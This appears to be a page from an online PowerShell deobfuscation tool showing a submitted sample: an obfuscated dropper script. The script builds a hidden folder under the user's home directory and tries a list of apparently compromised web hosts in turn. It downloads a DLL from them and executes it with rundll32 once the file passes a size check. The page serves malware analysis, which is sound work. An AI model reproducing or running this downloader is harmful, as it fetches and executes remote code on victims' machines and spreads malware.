Online Powershell Deobfuscator

set MKu ([Type]"SYsTeM.io.DIrECtORY") Set-Item "vaRIabLE:mBu" ([Type]"sYSteM.net.seRVIcepOintMaNAGer") $Cvmmq4o = $Q26L + "@" + $E16H (dir VariabLE:Mku).VaLUe::C`reat`edi`rec`tory($HOME + "\Db_bh30\Yf5be5g\") (variable "mbu" -VAlueoN)::Securityprot`o`c`ol = "Tls12" $Imd1yck = $HOME + ("UOHDb_bh30UOHYf5be5gUOH".Rep`lace("UOH", "\")) + "A69S" + ".dll" $B9fhbyv = "]anw[3s://admintk.com/wp-admin/L/@]anw[3s://mikegeerinck.com/c/YYsa/@]anw[3://freelancerwebdesignerhyderabad.com/cgi-bin/S/@]anw[3://etdog.com/wp-content/nu/@]anw[3s://www.hintup.com.br/wp-content/dE/@]anw[3://www.stmarouns.nsw.edu.au/paypal/b8G/@]anw[3://wm.mcdevelop.net/content/6F2gd/".Re`p`lace("]anw[3", ([Array]("sd", "sw"), "http", "3d")[1]).S`plit($C83R + $Cvmmq4o + $F10Q) foreach ($Bm5pw6z in $B9fhbyv){ try { (& "new-object" SysTem.nEt.WEBcLIeNT).Do`wnl`oad`file($Bm5pw6z, $Imd1yck) If ((& "get-item" $Imd1yck).Len`g`th -ge 35698){ & "rundll32" $Imd1yck, "Control_RunDLL".T`ost`ring () break } } catch{ } }

Report deobfuscation issue

Scripts submitted through this tool will be saved to improve minusone.
No other information is saved.